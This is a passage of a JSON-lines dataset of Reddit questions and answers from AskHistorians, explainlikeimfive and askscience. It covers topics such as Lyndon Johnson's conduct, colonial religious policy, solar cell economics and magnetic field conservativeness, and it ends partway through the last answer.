{"q_id": "50ej3a", "title": "How did LBJ get away with such outrageous behavior and was he scandalized for them?", "selftext": "The more I find out about Lyndon Johnson, the more shocked I become. One documentary mentioned him making people rub his feet in the white house. Also see that he supposedly [Held Meetings On The Toilet](_URL_1_). I came across [this article about his shower nozzles](_URL_0_)\n\n > His preferred shower in his Elms mansion had several nozzles that shot out water with \"needle-like intensity\" and had water pressure \"the equivalent of a fire hose.\"\n\n > One nozzle was positioned to shoot up the president's rear while another was aimed directly at his penis \u2014 he nicknamed that showerhead sprayer \"Jumbo.\"\n\n[One webpage](_URL_2_) states;\n\n > Lyndon Johnson had so many extramarital affairs while in office that his male aides referred to the girls he met with as his harem.\n\nwhile [another](_URL_3_) mentions;\n\n > LBJ wasn't scared to show off his, err, Johnson \u2014 he nicknamed his penis \"Jumbo.\" According to biographer Robert Dallek, Johnson met with a reporter who asked him multiple times why American troops were in Vietnam. In response, Johnson unzipped his pants, pulled out \"Jumbo,\" and yelled, \"This is why!\"\n\nAre these things really true? How did he get away with such ribald behavior in a time when people were just not ok with such things? Was there anything *else* this man did? Were these things all public at the time or did most come out after his presidency? Did he lock horns with anyone else in DC over these things? How did he get away with acting this way as the President of the United States?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/50ej3a/how_did_lbj_get_away_with_such_outrageous/", "answers": {"a_id": ["d742wjl"], "score": [50], "text": ["LBJ had many affairs. One in particular was with Helen Gahagan Douglas, a congresswoman.  Now this affair took place in the 40's and early fifties, but I think it is instructive of the media and political environment of that era. This affair went on for years, and was an open secret. They would hold hands in public, even on Capitol Hill. As far as I can recall, there was no contemporary media coverage of this affair. \n\nLBJ's habit of taking meetings while on the toilet go back to when he was a congressional secretary. It was not just an intimidation tactic but also a method of control. If you were willing to take dictation while your boss is on the toilet, what else were you willing to do? \n\nMany of the details of LBJ's behavior were published in Robert Caro's The Years of Lyndon Johnson; the first volume was published in the early 80s.  "]}, "title_urls": [], "selftext_urls": ["http://www.businessinsider.com/lbjs-white-house-shower-had-nozzles-aimed-at-his-privates-2015-4", "http://knowledgenuts.com/2013/08/20/lyndon-johnson-held-meetings-on-the-toilet/", "https://www.buzzfeed.com/erinlarosa/presidents-youll-never-look-at-the-same-way-again?utm_term=.wdgaYzER83#.qipLM8V0wN", "http://mashable.com/2013/07/04/us-presidents-fun-facts/#ruX0Gm8WMqqM"], "answers_urls": [[]]}
{"q_id": "5o1bx3", "title": "explain this scam for me, please", "selftext": "I've been seeing a couple of these \"gaming chair\" lots the past couple of weeks. \nWhat is the scam here? Reading through it, you don't seem to be getting a photo, nor a minituare statue or a digital copy of it. If you don't get the product, you'll get money back too, right?\nSo what is the scam here?\n\n_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5o1bx3/eli5explain_this_scam_for_me_please/", "answers": {"a_id": ["dcfux7u"], "score": [2], "text": ["I'm not seeing any \"scam\" here at all - manufacturing and labour costs in China and you could easily make something like that for well, well under the sale price. Postage would cover their shipping costs. \n\nIt's probably low quality manufacturing but would still be within what you would expect to get for paying that price for something. You never know - if it's a decent factory they could even still be high quality and making a profit.\n\nDeals like this are about making a large number of sales by offering the best price, rather than making a huge mark-up on each individual sale. "]}, "title_urls": [], "selftext_urls": ["http://www.ebay.com/itm/GTracing-High-Back-Gaming-Chair-Racing-Chair-Adjustable-Recline-Office-Chair-red-/222377656838?hash=item33c6bdc206:g:ulgAAOSwA3dYegSF"], "answers_urls": [[]]}
{"q_id": "fs5qmd", "title": "Did the British and French take a more tolerant approach of Muslims in their African colonies compared to \"pagans\"? Or did they try to convert them equally and simply had less success?", "selftext": "Just curious about this, seeing as in some regions like say...West Africa entire indigenous religions have been replaced (or made into syncretic elements within Christianity/Islam) while Islam, which predated European colonialism, has survived.\n\n\nDid the colonists have a more hands-off approach? Why? Was it fear of revolts? An analogous view to the Islamic one that \"People of the Book\" were more tolerable than pagans?  Simply easier pickings elsewhere?\n\nDid they ever successfully \"Christianize\" an Islamic area?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fs5qmd/did_the_british_and_french_take_a_more_tolerant/", "answers": {"a_id": ["fm516pe"], "score": [4], "text": ["Yes, British and French colonial administrations were content not attempt conversion of Muslim communities in their African colonies.\n\nThere were a handful of interrelated reasons for this attitude:\n\n1.**Notions of Hierarchy of Civilizations**- in European anthropological thought popular in the later 19th century, there was a prevalent idea of categorizing peoples into grades from \"most civilized\" to \"less civilized\" to \"primitive\".\n\nIt was an article of faith (pardon the pun) among Europeans (and Anglo settler societies in North America and Australia/New Zealand/South Africa)  that European culture represented the pinnacle or vanguard of civilization, and that Christianity was an integral aspect of what made Europeans civilized, and therefore the spread of Christianity through missionary activity was part of the British and French (and German and Belgian etc) \"civilizing mission\".\n\n*But* as a corollary, British and French anthropologists and colonial administrators considered Islam and Islamic societies to be somewhat \"less civilized\" than Christianity, but nevertheless much more civilized than \"pagan\" peoples.  \n\nThis ties in closely to the second point:\n\n2.**concessions to Indirect Rule**- Colonial administrations generally ran on shoestring budgets and (after the initial military conquest), with minimal amounts of European administrative manpower.\n\nIn order to make this system work, the British and French administrations relied on \"native chiefs\" to serve as local administrators and the lowest level of the colonial bureaucracy. \n\nFor example, after the conquest of the Sokoto caliphate and the formation of the colony of Northern Nigeria in 1900, the British then recognized the legitimacy of the Emir of Kano and the Emir of Zazzau (Zaria) in exchange for their submission and loyalty. \n\nAs Muslim princes, these Emirs insisted on certain conditions for the protection of Islam in their territory. Terms like the recognition of Sharia courts as the law of the land, respect for madrassahs as the educational system, and keeping out Christian missionaries.\n\n3.**the fear of Islamist (or Mahdist) revolt** I am more informed about this as a British concern. The British experience suppressing the Mahdist state (from 1881-1899) in Anglo-Egyptian Sudan strongly informed their later policies. British administrators were very careful to cultivate links with \"moderate\" religious leaders in hopes of marginializing any voices that would try to revive the Mahdist message. Additionally, British administrations were very careful to avoid any provocative actions, and blocked the efforts of missionaries to build a mission school in Darfur, citing the Islamic character of the region. (of course, the British considered southern Sudan to be a non-Muslim region and were active in promoting missionary activity in that region).\n\n----\nSo, broadly speaking, British and French colonial administrations were careful not to allow missionary activity in areas that they considered to have an established Islamic character. \n\nThe end result of these policies was that in these Islamic regions of Africa, there was something of a religious revival during the Colonial era, with a proliferation of religious orders in Senegal and northern Mali, for example. Additionally, \"pagan\" communities which lived in those areas designated as traditionally Islamic by colonial authorities frequently converted to Islam in this period. There were numerous reasons for this: the appeal of Islam as a trans-national religious community,  the vitality of these new religious orders, or because Islam was discernibly *not* the religion of the European administration and thus could viewed as a form of resistance.\n\n---\n\nFurther reading\n\n_The History of Islam in Africa_ by Nehemia Levtzion and Randall Pouwells.\n\n_Islamization from Below; the Making of Muslim Communities in Rural French Sudan, 1880-1960_ by Brian Peterson.\n\n_Muslim Societies in Africa; an Anthropological Approach_ by Roman Loimeier, particularly chapter 11 about  Islam in the colonial era.\n\n_France and Islam in West Africa 1860-1960_ by Christopher Harrison\n\n_Muslim Societies in African History_ by David Robinson. Particularly chapters 6 \"Western views of Africa and Islam\" 11 \"Buganda\" 12 \"Sudan\" and 13 \"Senegal\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ck29lf", "title": "how does online banking ultimately affect the economy?", "selftext": "Millions of people have direct deposit and use a credit card for purchases. It's possible for humans as a whole to spend billions of dollars a day collectively without ever touching a single paper bill. The US has gold to back the bill but isn't digital banking creating infinite amounts of commerce? How can money possibly hold any kind of value in this modern age of digital banking?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ck29lf/eli5_how_does_online_banking_ultimately_affect/", "answers": {"a_id": ["eviea0g", "evih1hf", "eviid72"], "score": [17, 11, 5], "text": ["\"The US has gold to back the bill...\"\n\nLol, wut?  A quick search shows that Nixon took us off the Gold Standard in 1971.", "Well actually gold *doesn't* back US dollars, and hasn't since 1971 when we went off the gold standard.\n\nHowever I'm not entirely sure what you're asking. Why would money lose its value just because people do lots of trading without ever actually physically holding the actual cash?\n\nEven before computers, lots of people and companies would carry out trade basically on paper. A signed piece of paper could signify the transfer of X amount of dollars from the account of Company A to the account of Company B. No actual dollar bills had to trade hands or even be physically *moved* anywhere, even inside the vaults of the bank or whatever. It's no different when this is all done electronically rather than on paper.\n\nAnd just because trade can be done more *conveniently* over the Internet, doesn't mean it can be done *infinitely*. Merchants still expect a *valid* source of payment for goods and services, whether that's coming from a credit card or a bank transfer or whatever. Ultimately, most of these digital representations of money do trace back to actual physical paper bills somewhere. Well actually, these bills might not have been printed yet, some of them don't physically exist yet, but they \"exist\" in the sense that they are in *use* in the economy. That's a more complicated matter that's not necessarily relevant here.", "So what you\u2019re thinking happens doesn\u2019t happen because of what\u2019s called \u201cfractional reserve banking.\u201d Basically banks take the money you deposit (physically and electronically) and loan it out to others to make money. They can out more than everyone\u2019s deposited because not everyone\u2019s going to want their money at the same time. If they do, there\u2019s problems. \n\nBut they can\u2019t loan out infinite money by changing numbers on computers. The Federal Reserve (the Fed) sets a ratio of money that they have to have in deposits to loans they have outstanding. They can\u2019t go below this, so money can\u2019t get loaned out and created infinitely. \n\nChanging this ratio is actually one of the ways the Fed affects the money supply (liquidity), and as you alluded to, how much of what things money can buy with its value (inflation and exchange rates)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1607qz", "title": "What's the white stuff that forms on batteries after a while?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1607qz/whats_the_white_stuff_that_forms_on_batteries/", "answers": {"a_id": ["c7rgetm", "c7rgjcy"], "score": [17, 6], "text": ["It is mostly lead sulfate, caused by the reaction of the sulfates in the battery itself with the terminals.  It it forms, it means that the plastic sealing is not entirely perfect, although a small amount of it isn't cause for concern.  It is somewhat toxic, but as long as you wash your hands after contact you'll be fine.\n\nYou can clean it off with a variety of substances.  One of the more efficient ones is phosphoric acid, which readily reacts with lead compounds.  You can buy a can of that at the auto parts store for a pretty high price, or just use soda (Coca-Cola, Dr. Pepper, etc.)", "Most batteries of today are alkaline batteries (leaking  potassium hydroxide)  or zinc\u2013carbon batteries (leaking zinc chloride)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5fc0ix", "title": "Why aren't we seeing organic photovoltaics solar cells everywhere? What's the catch?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5fc0ix/why_arent_we_seeing_organic_photovoltaics_solar/", "answers": {"a_id": ["daj2muj", "dajdhtw", "dakd3cr"], "score": [205, 8, 2], "text": ["To make a long story short, they are just not good enough (yet?) for most applications. More to the point, they are not as good as the current king of the PV market, namely crystalline-Si solar cells. To see better what I mean, we can look at three key areas of PV performance. \n\n1. **Efficiency.** Take a look at [this chart](_URL_1_) showing the efficiency of various PV technologies. Organic solar cells are shown in solid red circles. As you can see over the past decade, the power conversion efficiency of these cells has slowly crept up, topping up just over 10%. If you tried to make commercial modules out of these cells, the efficiency would be below 10%. Now compare that to silicon, where lab-grade cells reach 25% and even commercial modules hover around 20%. It's simply not clear at this moment whether organic solar cell will ever get much better than 10%, giving Si cells a strong leg up. \n\n2. **Stability.** The ideal solar cell is one that you could stick on your roof (or in a solar park) and it will keep cranking out power for decades. Silicon solar cells are pretty damn solid in this regard, often showing little degradation even after years and years of use. Organics on the other hand tend to be quite a bit more flimsy, with the efficiency slowly drooping as the organic compounds degrade. The problem can be solved in part by using more stable active materials and encapsulating the cells, but it's not clear what the best case scenario is.\n\n3. **Cost.** One of the key reasons people started investigating organic solar cells is because crystalline silicon was so expensive. That logic has changed drastically in recent years. As the production volume of crystalline silicon rose, the price plummeted [as shown in this graph](_URL_0_). In some sense, that shouldn't have been too shocking. Silicon is one of the most abundant elements on Earth and [economies of scale](_URL_2_) are very much real. As a result, the cost of the silicon is becoming an increasingly smaller share of the total price of a solar cell. Moreover, the best organic cells use rather complex active materials that require many synthetic steps that drive the price up. As a result, it's becoming less and less clear whether organics can potentially offer a significant reduction in cost compared to silicon cells. ", "Great answer from crnaruka who hit the major points.\n\n\nOne more thing to add about the cost:  A large fraction of the cost of a solar cell is now the \"balance of systems\" costs.  This includes the glass for encapsulating the cell, the metal supports for the panel, the installation costs of the panel, and the supporting circuitry to convert the electricity to the proper type and voltage.\n\n\nThese costs are fairly similar for each technology and are roughly proportional to the cell area.  Therefore, increases in efficiency (more power per area) decreases how much you need to spend on these balance of systems costs.\n\nAnother way to think about this is an example called the \"free wafer\" problem, which goes:\n\n\nIf someone gave you a functioning solar cell device for free, how efficient would it need to be to be cheaper than current solar costs if you still needed to pay all of the balance of systems costs?\n\n\nThe answer depends on your assumptions, but the number I have heard is ~12% efficiency.  So even if organic solar cells are incredibly cheap, they need to be at least that efficient to compete.  Perovskite solar cells can reach these efficiencies, but they have incredibly poor stability as of now.", "Really nice discussion!\nThere was the point of cost and that they are cheap or often proclaimed to be cheap in front of the public or the investors. That's only partly true! What the companies often mean is, that the production(!) method is cheap, since only printing and coating methods can be used on a slightly modified printing machine. There is no magic behind.\nThe cost comes with the material, which often cost up to 2500$/gr for the best performing ones. The problem is, you can't buy some in large-scale! You might not need much (some hundred nm thickness), but just to start up a roll-to-roll machine requires some hundred milliliter with several grams of material in it.\nThe barrier foil and glue are also very(!) expensive and are actually the real cost driver for large-area OPVs.\n\nThe only available commercial OPVs are from _URL_0_ and _URL_1_ (belectric OPV, former Konarka), but they only to business-to-business, so you can't find out the price (even asking them reveals no info) Demo installations exist, look good, but only they know how expensive they are. These companies living from EU/state funding and some investors. \nBut then there is also a Danish company called infinityPV (_URL_2_) and they actually sell OPV to the public and you can see the price. They also made an OPV solar charger. It looks like they also sell ready-made ink (also with prices!) for industry in large volumes.\n\nThere is still a long time until prices go down, but limiter is the barrier foil and a bit the materials in it.  Anyway, they will never replace Si rooftop PV installations. They are intended for niche applications (portable chargers etc.) maybe IoT applications, maybe some architectural things, but never ever a long-lived large-scale power source.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://i.imgur.com/eHJPpcn.png", "http://i.imgur.com/wVCsSQ6.jpg", "https://en.wikipedia.org/wiki/Economies_of_scale"], [], ["www.Heliatek.com", "www.Solarte.de", "www.infinityPV.com"]]}
{"q_id": "dwtzib", "title": "Why are so many of the capital cities of most Latin American countries in the mountains?", "selftext": "Quito, Caracas, San Jose, La Paz, Bogot\u00e2, etc.\n\nWhat\u00b4s the reason for wanting to locate high up in the mountains?  Seems counterintuitive because it\u00b4s difficult to climb mountains, it\u00b4s harder to build roads, especiall wide ones, and both arable and buildable land are at a premium.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dwtzib/why_are_so_many_of_the_capital_cities_of_most/", "answers": {"a_id": ["f7m6i68", "f7nowrv"], "score": [2162, 34], "text": ["**Short answer:** Pirates.\n\n**Longer answer:**  Spain just didn't have the money to protect all of its colonies so they built the big cities inland where possible. \n\nThe oldest Spanish cities in the Americas, like Santo Domingo, Veracruz, and San Juan, are all traditional ports with good natural harbors. It just makes sense to build a city on the ocean if you're a seafaring power, whose primary worry is hostile Indians, and you have to potentially supply the city by water.  This is what other European powers did well into the 1700s - think of colonial cities like Boston (English), New Orleans (French), or New York (Dutch) all of which have superb natural harbors.\n\nBut, as a famous poet once said, \"mo' money, mo' problems.\" Spanish successes in conquering the Americas made them a target. Even 50 years after Columbus, it was clear that the Spanish just didn't have enough of a navy or enough money to protect the empire from corsairs sponsored by competing European countries.  For example, French pirate Jean-Fran\u00e7ois Roberval hit Cartagena (now Colombia) in 1544, Sir Francis Drake hit Nombre de Dios (Panama) in 1572, and the Dutch pirate Bowdoin Henrick hit San Juan (Puerto Rico) in 1625.  Fortifications are incredibly, hideously expensive to build, and that goes double when your city is very, very far from the metropole.  \n\nSo Spain began passing urban planning laws under the reign of Charles I called the *Leyes de Indias*, or Laws of the Indies, which regulated how new settlements were to be built, and to keep the vast Spanish empire defensible against foreign corsairs.  The Leyes de Indias are a milestone in urban planning, requiring things like a street grid built at an oblique angle to north for even light exposure, and a water source. But most critically for our purposes here, the *Leyes de Indias* required settlements to be built away from the coast if possible.  That's how you get capital cities like Caracas built inland.  \n\nDid these cities still have ports? Absolutely.  Caracas has La Guaira, for instance.  But it's much easier to fortify and protect a small outpost like La Guaira on the sea than it is to fortify a center of government like Caracas - and it's significantly harder and less desirable for corsairs to mount a surprise attack on a capital city that's at an elevation of 3000 ft/900 m and requires you to march 15 miles/24 km inland.\n\nThese rules applied well into the dying days of the Spanish Empire, even after the golden age of piracy ended. It applied even to total backwaters like [Los Angeles](_URL_0_), which was founded in 1781.  If you look at downtown L.A., it follows all of the rules of the Laws of the Indies.  Downtown LA is a day's horseback ride from the ocean, the old city's streets are set on a rigid grid at an oblique angle to north, and it's built on the L.A. River, which provides a reliable water source.", "/u/fiftythreestudio explains why some of the later capitals ended up in mountains, but not the early ones.\n\nMexico City, Bogota, Antigua, Quito, etc. are all in the mountains because that is where the largest precolonial populations were. Spanish expansion targeted areas of dense human population. More people meant more laborers and more taxes. Where possible they established their capital cities on there largest indigenous cities. Mexico City is the classic example of this. \n\nBut they also had to think about interconnecting the empire. If they followed the population, Cuzco should have been the capital of the region. It was the most important highland town as it had been the capital of the Inca Empire, but they needed to keep that region connected to the rest of the empire so Lima was chosen because it was the port (technically the port was Callao) that connected up to Panama and then back across the Atlantic. \n\nThis tension between population and connection lasted the whole colonial period. In Ecuador, project after project tried to find a better port for the highland capital of Quito, Guayaquil was too far. But no good options could be found.\n\nPiracy only became a major problem after 1550, so any towns established before that were either fortified (Cartagena, San Juan, Veracruz, Havana, Santo Domingo, Saint Augustine, etc,) or moved. Nombre de Dios was abandoned in favor of the more defendable Portobello. In 1607, the Spanish King ordered most of Hispaniola's cities destroyed and relocated to prevent illicit trading with pirates and smugglers (this is how the French got the western part of the island)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.google.com/maps/place/Los+Angeles,+CA/@34.051175,-118.2479634,14.29z/data=!4m5!3m4!1s0x80c2c75ddc27da13:0xe22fdf6f254608f4!8m2!3d34.0522342!4d-118.2436849"], []]}
{"q_id": "5thu52", "title": "what does nintendo have to gain by releasing the switch in march? does three months really make a difference? i would think they would make more from releasing in the holiday season.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5thu52/eli5_what_does_nintendo_have_to_gain_by_releasing/", "answers": {"a_id": ["ddmnqee"], "score": [3], "text": ["* The Switch convienently comes out JUST IN TIME to fit within the fiscal 2016 year. This means that their overall sales numbers for the year will look a lot better since its not just the slump of the Wii U and the long-in-the-tooth 3DS.\n* Most people are going to wait until the holidays (or other big events) to buy it no matter what, so if they get the thing out now, they have all year to pour their efforts into fleshing out the game library before christmas\n* If they release a shitload of big name games at once, they can stretch their marketing too thin. If they released say, Zelda Mario  &  Splatoon at launch, a lot of people might only get one or two of those since 3 $60 games at once is a lot. They might forget to come back and check out the other titles. By spacing it out they give each new game product a chance in the limelight."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "b9smia", "title": "how do you use a source code from github, tweak it and make your own program out of it? what's the whole procedure involved?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b9smia/eli5_how_do_you_use_a_source_code_from_github/", "answers": {"a_id": ["ek6no59", "ek6nwbw"], "score": [2, 2], "text": ["Your question should be, what resources do I need to learn how to program applications. The answer is complex since there are different resources for different types of applications.\n\nWant to do an iPhone app? What to do an Android app? Want to do a PC, Linux, or Mac app?\n\nDoes it need a graphical interface?\n\nMany questions", "You're talking about making a fork.\n\nHere's a good simple guide to using Git and GitHub:\n\n[_URL_0_](_URL_0_)\n\nHere's an overview on what a fork is:\n\n[_URL_1_](_URL_1_)\n\nAnd here's a guide to making a fork:\n\n[_URL_2_](_URL_2_)\n\n & #x200B;"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://rogerdudler.github.io/git-guide/", "https://help.github.com/en/articles/about-forks", "https://help.github.com/en/articles/fork-a-repo"]]}
{"q_id": "38n1ki", "title": "how does identifying someone from dental records work?", "selftext": "Does my dentist submit a mold of my teeth to some kind of database or is it just something made up for TV/movies?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/38n1ki/eli5_how_does_identifying_someone_from_dental/", "answers": {"a_id": ["crw8tqh", "crw9ko1"], "score": [2, 6], "text": ["I have always wondered that too. As in where do they know what dentist to ask for the records? Or when, you have a scan done does your records get sent to a database that has every persons dental record? Like pre NSA stuff?", "They identify through dental records only when they have some idea of the identity. They look at filled cavities, crowns, things that show what work has been done. Then they contact the person's dentist and ask him or her to confirm or deny the identity of the corpse. But they have to have a guess at who the person is first so they know which dentist to ask."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8gfnlp", "title": "what exactly is the purpose behind the lorem ipsum text?", "selftext": "I know it's used in the printing industry but how  and why I have no idea ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8gfnlp/eli5what_exactly_is_the_purpose_behind_the_lorem/", "answers": {"a_id": ["dybb4ip", "dybb64t", "dybn00e", "dybonwf", "dybqhbz", "dyc0xtl"], "score": [37, 19, 2, 3, 3, 2], "text": ["[It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using 'Content here, content here', making it look like readable English. Many desktop publishing packages and web page editors now use Lorem Ipsum as their default model text, and a search for 'lorem ipsum' will uncover many web sites still in their infancy. Various versions have evolved over the years, sometimes by accident, sometimes on purpose (injected humour and the like)](_URL_0_)", "It's just a placeholder. It looks like a proper piece of writing, while just hitting a bunch of random keys doesnt. That means you can get an idea about how actual text is going to look in your layout without having to find/write something.", "It's essentially just \"filler\" text so that you can see how the positioning and layout of the final text will look like. That's about it.", "One small thing to add might be the fact, that with something so known as placeholder text, its way easier to look for placeholder text - very often if you think \"okay, lets find some random text to use as placeholder\", you might spend more than enough time thinking what to use, then how to find it properly formatted, and so on... but with Lorem Ipsum as an option, it takes you less than 10seconds to find perfectly formatted text to drop wherever you need it.\n\nEven though this is not *really* an answer, more of a \"side-effect\" of Lorem Ipsum being a thing. Its nice to have some \"unified system/text to use\".", "It also is helpful when trying to determine the (very rough) word count. I am a magazine art director and my editors often request a word count if the article is not written yet.", "It allows you to create and demonstrate a layout before you have any content, in a way that makes it obvious it is only a demonstration.\n\nIf you were in the business of printing brochures, you might want to create samples of the various designs you have to provide an example for your customers.  You could try to create one for some fake business, but you are a printer, you don't know anything about other businesses.  Instead, you use lorem ipsum, that way everyone can see what your brochures look like without worrying about what they actually say."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.lipsum.com"], [], [], [], [], []]}
{"q_id": "235n5j", "title": "Why does the universe care if it is observed?", "selftext": "In quantum mechanics, apparently it is the case that everything is described as a probability function, or in other words: the universe itself does not know the state of itself... it only knows the chances of itself being in certain states (like Schrodinger's cat).  The universe only lands on a particular conclusion when it is observed... does anyone have insight into why the universe should only land on a definite outcome when a clump of chemicals, such as the human brain, tries to make sense of it, and not when in the presence of other - lifeless - chemicals... does this mean that logical beings are truly distinct from everything else since they somehow make the universe jump to conclusions... Seriously blows my mind, is there any explanations or even acceptable theories?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/235n5j/why_does_the_universe_care_if_it_is_observed/", "answers": {"a_id": ["cgts4v0", "cgts9y3"], "score": [30, 11], "text": ["This is a common misunderstanding. Observation = interaction.\n\nIt has nothing to do with life / non-life (which has nothing to do with physics). \n\nIn the case of the photon, it just means whether the photon has interacted with anything. Before it interacts = superposition, after it interacts, that superposition collapses.\n\n", "It is just a confusing language of quantum mechanics. QM is primary designed to describe outcomes of experiments. It uses terms of the system and the observer. Observer isn't a person. It's a piece science equipment which interacts with the system in order to measure something.  It can also be natural phenomenon which the system interacts with and yields some information in the proces. It is not that universe cares if someone is watching it's that we cannot see without interfering with the system."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2mfvjb", "title": "what would it have been like in the upper floors of either wtc when they collapsed on 9/11?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2mfvjb/eli5_what_would_it_have_been_like_in_the_upper/", "answers": {"a_id": ["cm3t4lg", "cm3t6lo", "cm3tsa7", "cm3tvae"], "score": [3, 2, 2, 2], "text": ["Many people at the center of the crash died instantly, but many people above were trapped with no way out. It must have been pretty bad for some people to make the decision to jump out of the buildings.\n\nIf you're talking specifically when the buildings collapse, we will never know for sure but I think it's safe to assume the fall and getting crushed by several tons of concrete and steel killed everybody instantly.", "I heard that the areas where the planes hit the surrounding areas where so hot it could melt flesh from bone, so yea I would say they didn't have time to experience much pain.", "[Here is Kevin Kosgrove's call](_URL_0_) made inside the World Trade Centre which was disconnected by the tower collapse. Doesn't really answer your question, but it gives you the idea of how quickly it all happened when it collapsed, and presumably how he wouldn't have really known what was happening until it was over. **NSFL warning**: his last words are very chilling.", "You want morbid?\n\n[Here's](_URL_0_) a phone call from inside the South Tower. One of at least three known calls that were recorded. \n\nThis one is Kevin Cosgrove, who says he's in the northwest corner of the 105th floor with two other people."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://youtu.be/ppAeMWFCqC8"], ["https://www.youtube.com/watch?v=RLW0jKKRXMo"]]}
{"q_id": "27eq67", "title": "why do your hands always look weird to you when you look at them in a dream?", "selftext": "It seems that every time I dream and see my hands, they never look like they normally do in real life.  They either are really skinny, look like I am looking through a kaleidoscope at them, have fingers that are differing lengths, and other such things.  Why is this?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/27eq67/eli5why_do_your_hands_always_look_weird_to_you/", "answers": {"a_id": ["ci031b3", "ci036ux"], "score": [2, 2], "text": ["Dreams do not have consistent logic. I, for instance, have never once noticed my hands being particularly unusual in a dream. ", "Hands, text and such are very hard for a dreaming brain to keep track of.  this is why hands look weird, and text is hard to read, or never reads the same way twice.   People who are experimenting with lucid dreaming often will look at their hands or try to read something, to make their brain realize they're dreaming and gain control.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8foth0", "title": "Do primates get under arm body odor as humans do?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8foth0/do_primates_get_under_arm_body_odor_as_humans_do/", "answers": {"a_id": ["dy5nlvq"], "score": [67], "text": ["An interesting side note to that is that not even all humans get it. There's a very strong genetic influence on whether or not your sweat generates BO. People in the Far East are far more common than Western countries to have the gene which means they don't get BO. It's one of the reasons finding deoderant in the Far East is a bit of a mission compared to in Western countries. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1777f2", "title": "Why is the magnetic field non-conservative?", "selftext": "I know why it is mathematically, the line integral of the magnetic force along a closed path isn't zero, the gradient is equal to zero, etc. However, I don't understand physically what's going on. If the field is non-conservative then energy must be dissipating. But where and how?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1777f2/why_is_the_magnetic_field_nonconservative/", "answers": {"a_id": ["c82ulzf", "c82vtp9", "c82wsw1"], "score": [7, 12, 8], "text": ["I'm not sure I understand what you're asking but I think you may just be confused about terminology.  \"Conservative\" in the context of vector calculus has a purely mathematical definition independent of the various notions of conservation in physics.  Just because the magnetic field is non-conservative doesn't necessarily mean there's energy being dissipated somewhere.", "The magnetic force can't be evaluated to be conservative or non-conservative.  To determine conservative/nonconservative you need to take the curl of a field, and this isn't meaningful for the magnetic field because (magnetic field) != (magnetic force).  The force on a charge particle from the magnetic field depends on the velocity of the particle.  So the magnetic field isn't the sort of thing that can be conservative.\n\nThe force on a moving charged particle has direction of v .cross. B, that is, velocity crossed with field.  That imparts no energy to the particle because it is perpendicular to the direction of motion.  In that sense, the magnetic FORCE is conservative.  It does no work.\n\nThe electromagnetic force, on the other hand, is not conservative.  Changes in the magnetic field induce a functional electric field (although not all may call this an electric field), and this field can accelerate a charge through a closed loop.  The end.", "So, as far as we know, the only things that the electric and magnetic fields affect are electric charges, right?  There are no magnetic monopoles. With this in mind, think about how electric and magnetic fields act differently on charged objects.  Let's stick to time-invariant fields just for simplicity.\n\nThe electric field is a force field (**F** = q**E**). The \"field\" part of the term means that it is distributed throughout space; the \"force\" part indicates that at every point in space I can ask you what force would be experienced by a test charge, and you could answer me with no additional information.  Because of the nature of the electric field being a **r**/r\u00b2 beast, the curl is always zero.  Through Stokes' theorem, this means that the work (integral of  **F**\u00b7d**r** = q**E**\u00b7d**r**) done over any closed path is zero, which is the definition of a conservative field.  \n\nNow, as long as we ignore magnetic monopoles (a pretty fair assumption!), the magnetic field is not a force field.  It is a field, in that it is distributed through space (and has a value everywhere in the domain of interest), but, given a set of coordinates, you wouldn't be able to tell me the force on a test charge without some additional information (the velocity of the charge!).  In general, the curl of **B** is not zero -- however, this is where you make your mistake: \n\n >  the line integral of the magnetic force along a closed path isn't zero\n\nThis does not follow from a non-zero curl of **B**, because the work done by the magnetic force includes the velocity of the test charge.   The line integral of the magnetic *field* along a closed path isn't zero, not the magnetic *force*.  In detail, the differential work done by a magnetic field is:\n\n dW = **F**\u00b7d**r** = q(**v** x **B**)\u00b7 d**r** = q(d**r**/dt x **B**) \u00b7d**r** \n\nSince d**r** crossed with anything is perpendicular to d**r**, dW is zero, and you conclude that the magnetic field does no work.  So, in fact, the line 